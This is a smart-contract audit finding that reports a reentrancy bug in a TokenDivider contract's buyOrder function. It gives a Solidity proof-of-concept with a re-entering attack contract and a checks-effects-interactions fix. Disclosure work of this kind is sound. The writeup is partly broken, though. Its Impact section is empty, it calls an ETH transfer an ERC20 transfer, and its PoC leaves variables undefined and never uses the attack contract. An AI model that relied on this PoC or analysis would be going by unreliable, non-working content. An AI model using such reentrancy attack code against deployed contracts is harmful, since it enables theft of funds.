Relevant GitHub Links
https://github.com/Cyfrin/2025-01-pieces-protocol/blob/4ef5e96fced27334f2a62e388a8a377f97a7f8cb/src/TokenDivider.sol#L109-L137
Summary
The buyOrder
function in TokenDivider contract contains a critical reentrancy vulnerability that allows an attacker to repeatedly purchase the same order before the state is updated.
Vulnerability Details
The vulnerability exists because the contract:
Performs erc20 transfer before updating state
Lacks reentrancy protection
Use low level call which can be exploited
function buyOrder(uint256 orderIndex, address seller) external payable {
(bool success, ) = payable(order.seller).call{value: (order.price - sellerFee)}("");
s_userToSellOrders[seller][orderIndex] = s_userToSellOrders[seller][s_userToSellOrders[seller].length - 1];
s_userToSellOrders[seller].pop();
}
Impact
An attacker can:
POC
contract ReentrancyTest is Test {
TokenDivider divider;
address attacker = makeAddr("attacker");
function testReentrancy() public {
vm.deal(attacker, 2 ether);
vm.startPrank(attacker);
divider.buyOrder{value: 1.02 ether}(0, seller);
assertTrue(attackSucceeded);
}
}
contract AttackContract {
TokenDivider target;
bool attacked;
receive() external payable {
if(!attacked) {
attacked = true;
target.buyOrder{value: msg.value}(0, msg.sender);
}
}
}
Tools Used
Mannul Review
Recommendations
CEI
function buyOrder(uint256 orderIndex, address seller) external payable nonReentrant {
s_userToSellOrders[seller][orderIndex] = s_userToSellOrders[seller][s_userToSellOrders[seller].length - 1];
s_userToSellOrders[seller].pop();
(bool success, ) = payable(order.seller).call{value: (order.price - sellerFee)}("");
}